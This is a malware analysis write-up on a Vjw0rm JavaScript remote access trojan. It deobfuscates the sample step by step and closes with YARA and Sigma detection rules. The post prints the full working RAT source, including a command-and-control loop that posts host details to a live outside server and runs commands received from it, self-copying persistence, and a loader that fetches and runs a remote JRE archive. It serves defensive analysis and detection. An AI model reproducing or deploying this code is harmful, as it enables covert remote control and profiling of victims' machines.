Malware Source | MalwareBazaar | SHA256 0a19ba2af0a2c3b6bdb5c7265439185093c1f6e8128338b7d566e3a15cc8b193 (Vjw0rm) |
Analysis Environment | Flare VM, REMnux |
Overview:
The Vjw0rm script is JavaScript malware with layered obfuscation. It is a Remote Access Trojan (RAT) designed to perform various malicious operations on a Windows system through the Windows Script Host (WSH) environment. When run, it decodes obfuscated instructions and executes additional payloads. It gathers information about the infected system, modifies the registry, and copies itself to persistent locations to ensure it runs on startup. The script then sets up a command-and-control channel that communicates with a remote server, possibly to receive commands or send collected data.
Basic Static Analysis:
SHA256 Hash
Vjw0rm.js | 0a19ba2af0a2c3b6bdb5c7265439185093c1f6e8128338b7d566e3a15cc8b193 |
Malware Repo Search: VirusTotal
Figure 1:VirusTotal report
VirusTotal revealed that 22 out of 63 antivirus engines found the sample malicious. It shows that the sample belonged to the JavaScript and malware category and is obfuscated. The last analysis date was a month ago.
I downloaded the sample on my REMnux host and opened it up in VScode.
The script can be divided into two main parts.
Part 1 is captured in the image below.
Figure 2: Part 1 of the script
Part 2 is shown in the below image.
Figure 3: Part 2 of the script
Static Code Analysis of Part 1
Figure 4: Part 1 Static code analysis
The string assigned to variable $_512a is likely obfuscated or encoded. It uses special characters (#%) and what appears to be a mix of alphanumeric characters, suggesting that it could be a Base64-like encoding
or another custom encoding/obfuscation scheme. The name $_512a is also non-descriptive and typical of obfuscated code.
I scrolled down to observe the other parts of the script and found what appeared to be non-functional strings.
Figure 5: Non-functional padding strings
These characters are likely used as junk or padding data to inflate the size of a variable or to obfuscate the script. They serve no functional purpose and are often added to hinder analysis or evade detection by static analysis tools.
I began the deobfuscation by replacing non-functional padding strings with “junk”
Figure 6: Replacing non-functional padding strings with junks
To format the code for easier readability and analysis, I replaced “;” with “;+ENTER” as it breaks the code into more manageable lines.
I observed a single array, $_512a, holding a series of string values. To obfuscate the script’s real behaviour, these string values are accessed through numeric indices like $_512a[0], $_512a[1], etc. I replaced $_512a[number] with the corresponding string in the array $_512a. For example, $_512a[0] to “mko” and $_512a[1] to “createElement”.
Figure 7: Find and replace operation
The highlighted code: superString[$_512a[9]](/#%/g, $_512a[m]);
: perform a global (/g) search and replace:
- /#%/g: looks for all occurrences of the string “#%” and $_512a[m] is the replacement value.
To continue the deobfuscation process, I copied the value of the _$_512a variable to cybershef. Replaced all instances of #% with m and used a from base64 recipe.The output shows some readable scripts and another obfuscated value for the longText1 variable.
Figure 8: Decodeing with CyberChef
I copied the output of Cyberchef to VScode and named it ‘step 1.’
Figure 9: Step 1 deobfuscation
Figure 10: Showing readable part from the step 1 deobfuscation
Interpreting the readable instructions:
- The script creates a
WScript.Shell
object to interact with the Windows operating system. - It retrieves the
%appdata%
path and constructs a file path for a JavaScript file namedkQiFcryrxG.js
. - The script decodes the Base64-encoded text in longText1 and writes the decoded data to the AppData directory.
- Finally, it executes the newly created JavaScript file,
kQiFcryrxG.js
.
NOTE: The script writes a file to the app data directory and runs it.
Then, I headed back to CyberChef and decoded the base64 encoded string on the longText1 variable.
Figure 11: Decoding step 1 in CyberChef
I copied the output to vscode and saved it as ‘step 1a’.
From the output, the variable superString
is yet another base64 encoded string and variable junk, non-functional padding strings. I replaced the padding strings with ‘junk
’
Figure 12: Analysing the output of step 1 deobfuscation (step 1a)
Step 1a also instructs replacing the #% with A in the variable superString
. So, I copied the value of the superstring variable, pasted it in the Cyberchef input, performed a search-and-replace for ‘#% to A’, and used the base64 recipe.
Figure 13: Decoding step 1a deobfuscation
Here, we see readable output. And alas, no more obfuscation.
The deobfuscated script.
// Coded by v_B01 | Sliemerez -> Twitter : Sliemerez
var j = ["WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP"];
var g = ["HKCU","HKLM","HKCU\\vjw0rm","\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","HKLM\\SOFTWARE\\Classes\\","REG_SZ","\\defaulticon\\"];
var y = ["winmgmts:","win32_logicaldisk","Win32_OperatingSystem",'AntiVirusProduct'];
var sh = Cr(0);
var fs = Cr(1);
var spl = "|V|";
var Ch = "\\";
var VN = "9/21" + "_" + Ob(6);
var fu = WScript.ScriptFullName;
var wn = WScript.ScriptName;
var U;
try {
U = sh.RegRead(g[2]);
} catch(err) {
var sv = fu.split("\\");
if (":\\" + sv[1] == ":\\" + wn) {
U = "TRUE";
sh.RegWrite(g[2],U,g[5]);
} else {
U = "FALSE";
sh.RegWrite(g[2],U,g[5]);
}
}
Ns();
do {
try {
var P = Pt('Vre','');
P = P.split(spl);
if (P[0] === "Cl") {
WScript.Quit(1);
}
if (P[0] === "Sc") {
var s2 = Ex("temp") + "\\" + P[2];
var fi = fs.CreateTextFile(s2,true);
fi.Write(P[1]);
fi.Close();
sh.run(s2);
}
if (P[0] === "Ex") {
eval(P[1]);
}
if (P[0] === "Rn") {
var ri = fs.OpenTextFile(fu,1);
var fr = ri.ReadAll();
ri.Close();
VN = VN.split("_");
fr = fr.replace(VN[0],P[1]);
var wi = fs.OpenTextFile(fu,2,false);
wi.Write(fr);
wi.Close();
sh.run("wscript.exe //B \"" + fu + "\"");
WScript.Quit(1);
}
if (P[0] === "Up") {
var s2 = Ex("temp") + "\\" + P[2];
var ctf = fs.CreateTextFile(s2,true);
var gu = P[1];
gu = gu.replace("|U|","|V|");
ctf.Write(gu);
ctf.Close();
sh.run("wscript.exe //B \"" + s2 + "\"",6);
WScript.Quit(1);
}
if (P[0] === "Un") {
var s2 = P[1];
var vdr = fu;
var regi = "Nothing!";
s2 = s2.replace("%f",fu).replace("%n",wn).replace("%sfdr",vdr).replace("%RgNe%",regi);
eval(s2);
WScript.Quit(1);
}
if (P[0] === "RF") {
var s2 = Ex("temp") + "\\" + P[2];
var fi = fs.CreateTextFile(s2,true);
fi.Write(P[1]);
fi.Close();
sh.run(s2);
}
} catch(err) {
}
WScript.Sleep(7000);
} while (true) ;
function Ex(S) {
return sh.ExpandEnvironmentStrings("%" + S + "%");
}
function Pt(C,A) {
var X = Cr(3);
X.open('POST','http://javaautorun.duia.ro:5443/' + C, false);
X.SetRequestHeader("User-Agent:",nf());
X.send(A);
return X.responsetext;
}
function nf() {
var s,NT,i;
if (fs.fileexists(Ex("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")) {
NT ="YES";
} else {
NT = "NO";
}
s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME") + Ch + Ob(2) + Ch + Ob(4) + Ch + Ch + NT + Ch + U + Ch;
return s;
}
function Cr(N) {
return new ActiveXObject(j[N]);
}
function Ob(N) {
var s;
if (N == 2) {
s = GetObject(y[0]).InstancesOf(y[2]);
var en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
var it = en.item();
return it.Caption;
break;
}
}
if (N == 4) {
var wmg = "winmgmts:\\\\localhost\\root\\securitycenter";
s = GetObject(wmg).InstancesOf(y[3]);
var en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
var it = en.item();
var str = it.DisplayName;
}
if (str !== '') {
wmg = wmg + "2";
s = GetObject(wmg).InstancesOf(y[3]);
en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
it = en.item();
return it.DisplayName;
}
} else {
return it.DisplayName;
}
}
if (N==6) {
s = GetObject(y[0]).InstancesOf(y[1]);
var en = new Enumerator(s);
for (; !en.atEnd();en.moveNext()) {
var it = en.item();
return it.volumeserialnumber;
break;
}
}
}
function Ns() {
try {
var ap = Cr(2);
fs.CopyFile(fu, ap.NameSpace(7).Self.Path + "\\" + wn,true);
} catch(err) {
}
}
Object and Variable Initialization:
var j = ["WScript.Shell", ...]
: This array lists different COM objects used by the script.
var g = ["HKCU", ...]
: This array contains registry paths and keys. The script uses these to read and write registry values, including setting up persistence mechanisms.
var y = ["winmgmts:", ...]
: This array holds WMI paths and class names for querying system information.
Registry Manipulation
The script attempts to read a specific registry key (g[2]
, "HKCU\\vjw0rm"
). If it fails (likely because the key doesn’t exist), it writes a value ("TRUE"
or "FALSE"
) to the registry. This could be used to check if the malware has run before and set up persistence.
The script also uses sh.RegWrite()
to add entries to the Windows registry, which is commonly used to maintain system persistence.
HTTP communication
The Pt function sends an HTTP POST request to a hardcoded URL (http://javaautorun[.]duia[.]ro:5443/)
with a user-agent string containing system information. This could be used for command-and-control (C2) communication, where the malware receives instructions or sends system data.
The eval(P[1]) call dynamically executes JavaScript code received from the remote server, allowing the attacker to run arbitrary code on the compromised system.
Persistence Mechanism:
The script uses fs.CopyFile() to copy itself to the startup folder (ap.NameSpace(7).Self.Path + “\\” + wn), ensuring that it runs every time the user logs in.
It modifies the registry to maintain persistence using sh.RegWrite()
Summarily, the script is designed to run in a Windows Script Host (WSH) environment. It makes use of several ActiveX objects and WMI (Windows Management Instrumentation) to interact with the Windows operating system, manipulate the file system, modify the registry, and communicate with a remote server.
Static Code Analysis of Part 2
Figure 14: Part 2 of the script
The full code is underneath the longText string is shown below.
var re = new RegExp("#%", "g");
longText = longText.replace(re, "A");
var wshShell = WScript.CreateObject("WScript.Shell");
var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
var r = Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 10);
var stubpath = appdatadir + "\\" + r + ".txt"
var decoded = decodeBase64(longText);
writeBytes(stubpath, decoded);
var fso = WScript.CreateObject("Scripting.FileSystemObject");
var text = "";
try{
text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
}catch(err){}
try{
if(text == ""){
text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
if(text != ""){
text = text + "\\bin\\javaw.exe";
}
}
else{
text = text + "\\bin\\javaw.exe";
}
}catch(err){}
try{
if(text != ""){
//wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + text + "\" -jar \"" + stubpath + "\"", "REG_SZ");
wshShell.run("\"" + text + "\" -jar \"" + stubpath + "\"");
} else{
GrabJreFromNet();
}
} catch(err){
}
function GrabJreFromNet(){
do{
try{
var xHttp = WScript.CreateObject("msxml2.serverxmlhttp.6.0");
var bStrm = WScript.CreateObject("Adodb.Stream");
xHttp.open("GET", "https://filebin.net/j32r9padc66jbc79/jre.zip", false);
xHttp.setOption(2, 13056);
xHttp.send();
bStrm.Type = 1;
bStrm.open();
bStrm.write(xHttp.responseBody);
bStrm.savetofile(appdatadir + "\\jre.zip", 2);
break;
}catch(err){
WScript.Sleep(5000);
}
}while(true);
UnZip(appdatadir + "\\jre.zip", appdatadir + "\\jre7");
//wshShell.RegWrite("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion", "1.8", "REG_SZ");
//wshShell.RegWrite("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\1.8\\JavaHome", appdatadir + "\\jre7", "REG_SZ");
wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + appdatadir + "\\jre7\\bin\\javaw.exe\" -jar " + "\"" + stubpath + "\"", "REG_SZ");
wshShell.run("\"" + appdatadir + "\\jre7\\bin\\javaw.exe\" -jar " + "\"" + stubpath + "\"");
}
function decodeBase64(base64){
var DM = WScript.CreateObject("Microsoft.XMLDOM");
var EL = DM.createElement("tmp");
EL.dataType = "bin.base64";
EL.text = base64;
return EL.nodeTypedValue;
}
function writeBytes(file, bytes){
var binaryStream = WScript.CreateObject("ADODB.Stream");
binaryStream.Type = 1;
binaryStream.Open();
binaryStream.Write(bytes);
binaryStream.SaveToFile(file, 2);
}
function UnZip(zipfile, ExtractTo){
if(fso.GetExtensionName(zipfile) == "zip"){
if(!fso.FolderExists(ExtractTo)){
fso.CreateFolder(ExtractTo);
}
var objShell = WScript.CreateObject("Shell.Application");
var destination = objShell.NameSpace(ExtractTo);
var zip_content = objShell.NameSpace(zipfile).Items();
for(i = 0; i < zip_content.Count; i++){
if(fso.FileExists(fso.Buildpath(ExtractTo,zip_content.item(i).name)+"."+fso.getExtensionName(zip_content.item(i).path))){
fso.DeleteFile(fso.Buildpath(ExtractTo,zip_content.item(i).name)+"."+fso.getExtensionName(zip_content.item(i).path));
}
destination.copyHere(zip_content.item(i), 20);
}
}
}
Explanation of the script
The script creates WScript.Shell
and Scripting.FileSystemObject
objects to interact with the Windows environment, including running commands, reading and writing to the registry, and managing the file system. It defines tempdir
and appdatadir
to hold paths to the temporary and application data directories, respectively.
The script generates a random string r
and creates a file path stubpath
in the %appdata%
directory. It decodes longText
from Base64 and writes the binary data to the file specified by stubpath
.
Next, the script attempts to read the Java Runtime Environment (JRE) path from the Windows Registry. If found, it appends javaw.exe
to run a Java JAR file. If not, it downloads a file named jre.zip
from https://filebin.net
, which could host malicious payloads. The script then unzips the file and sets up JRE in %appdata%
. If successful, it runs the JAR file at stubpath
using javaw.exe
.
The longText string is a possible base64-encoded string. There is an instruction to search and replace ‘#%’ with ‘A’. So, I copied the value of longText and pasted it into CyberChef input. I then did ‘find and replace’ for ‘#%’ to ‘A’ and loaded the ‘from base64’ recipe.
Figure 15: Decoding part 2 in CyberChef
The output showed the PK magic byte, which denotes a zipped file. I also observed the META-INF/MANIFEST.MF. Adding unzip to the recipe showed that the archive contained 71 files.
Figure 16: Using the unzip recipe to check the archive content
I saved the archive as download.zip.
Figure 17: Downloading the archive from CyberChef
Inspecting the structure of the zipped file from the terminal showed:
Figure 18: Inspecting the content of the zipped file from the terminal
The zipped file is a Java archive (JAR) or application.
Grabbing the Sha256 hash of the zipped file:
Inspecting the hash on virus total:
Figure 19: Inspecting the hash of the zipped file in VirusTotal
Summary Explanation of the whole script with the Code Blocks
The malware’s functionality can be split into several sections:
1. Base64 Decoding and File Writing
var longText1 = "first_base64_encoded_string"; var decoded1 = decodeBase64(longText1); writeBytes(stubpath1, decoded1); wshShell1.run("\"" + stubpath1 + "\"");
- Functionality: The script takes a Base64-encoded string, decodes it, and writes the decoded content to a .js file in the %appdata% directory. The script then executes this file.
- Purpose: This is used to drop and run an additional malicious script or payload on the system.
2. Registry Manipulation for Persistence
try {
text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
} catch(err) { }
- Functionality: The script tries to read from the Windows Registry to find the current version of the Java Runtime Environment (JRE). If it finds the JRE, it constructs a path to javaw.exe and uses it to run a .jar file.
- Purpose: This allows the malware to execute Java-based payloads if JRE is available.
3. Downloading and Unzipping a JRE
function GrabJreFromNet() {
var xHttp = WScript.CreateObject("msxml2.serverxmlhttp.6.0");
xHttp.open("GET", "https://filebin.net/j32r9padc66jbc79/jre.zip", false);
xHttp.send();
bStrm.write(xHttp.responseBody);
bStrm.savetofile(appdatadir + "\\jre.zip", 2);
UnZip(appdatadir + "\\jre.zip", appdatadir + "\\jre7");
}
- Functionality: If the JRE is not found on the system, the malware attempts to download a zip file containing a JRE from a remote server. It then unzips the file to the %appdata% directory.
- Purpose: The malware ensures that it can execute Java-based payloads even if the user does not have Java installed.
4. Decoding and Executing Additional Payloads
var superString = 'base64_encoded_string_from_first_base64_encoded_string';
xmlDOM['text'] = superString['replace'](/#%/g, 'A');
comObject['Write'](xmlDOM['nodeTypedValue']);
eval(comObject['ReadText']());
- Functionality: This part decodes another Base64-encoded string and uses eval() to execute the decoded script. The decoded base64 string is the Java archive (JAR) or application we downloaded from CyberChef in part 2.
- Purpose: This is used to execute additional malicious scripts or commands dynamically. The use of eval() poses a significant risk as it can run arbitrary code.
5. Main Malicious Functionality and Commands
The script contains several functions that perform different malicious operations:
- Remote Communication:
var X = Cr(3);
X.open('POST','http://javaautorun.duia.ro:5443/' + C, false);
X.send(A);
- Purpose: The malware communicates with a remote server, likely for command and control (C2) purposes. This can be used to receive commands or send data back to the attacker.
- System Information Gathering:
Javascript
var s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME");
- Purpose: The malware collects system information, such as the computer name and username, to profile the infected machine.
- File Operations and Persistence:
fs.CopyFile(fu, ap.NameSpace(7).Self.Path + "\\" + wn, true);
- Purpose: The malware copies itself to a persistent location to ensure it runs whenever the system starts.
- Command Handling:
if (P[0] === "Ex") { eval(P[1]); }
- Purpose: The malware can execute arbitrary code received from the server, which gives the attacker full control over the infected system.
Conclusion
The analysis of the script revealed a sophisticated malware operation with multiple layers of functionality aimed at compromising a Windows system. The script is designed to decode and execute Base64-encoded payloads, establish persistence through registry manipulation, ensure compatibility for Java-based payloads by downloading and installing a JRE, and communicate with a remote server for further instructions.
Overall, this malware exhibits features commonly seen in advanced persistent threats (APTs) e.g., Evilnum APT group, with capabilities to remain undetected, adapt to different environments, and carry out arbitrary commands from a remote server.
Yara Rule
rule JavaScript_Malware_sample_Detection
{
Meta:
author = "SecOpsBro"
description = "YARA rule to detect JavaScript file with persistence capability"
date = "2024-11-12"
strings:
$registry_key_1 = "HKCU\\vjw0rm"
$registry_key_2 = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr"
$url_1 = "http://javaautorun.duia.ro:5443/"
$url_2 = "https://filebin.net/j32r9padc66jbc79/jre.zip"
$wscript_shell = "WScript.CreateObject(\"WScript.Shell\")"
$fso_object = "Scripting.FileSystemObject"
condition:
all of them
}
Sigma Rule
title: Malicious JavaScript Behavior
id: b2a1f842-b8f8-41a2-9e21-123456789abc
description: Detects suspicious behavior from malicious JavaScript using WScript
author: SecOpsBro
date: 2024-11-12
status: experimental
logsource:
category: script
product: windows
detection:
keywords:
- '*WScript.CreateObject*'
- '*Scripting.FileSystemObject*'
- '*RegWrite*'
- '*POST*http://javaautorun.duia.ro*'
- '*download*filebin.net/jre.zip*'
condition: keywords
fields:
- CommandLine
falsepositives:
- Legitimate administrative scripts
level: high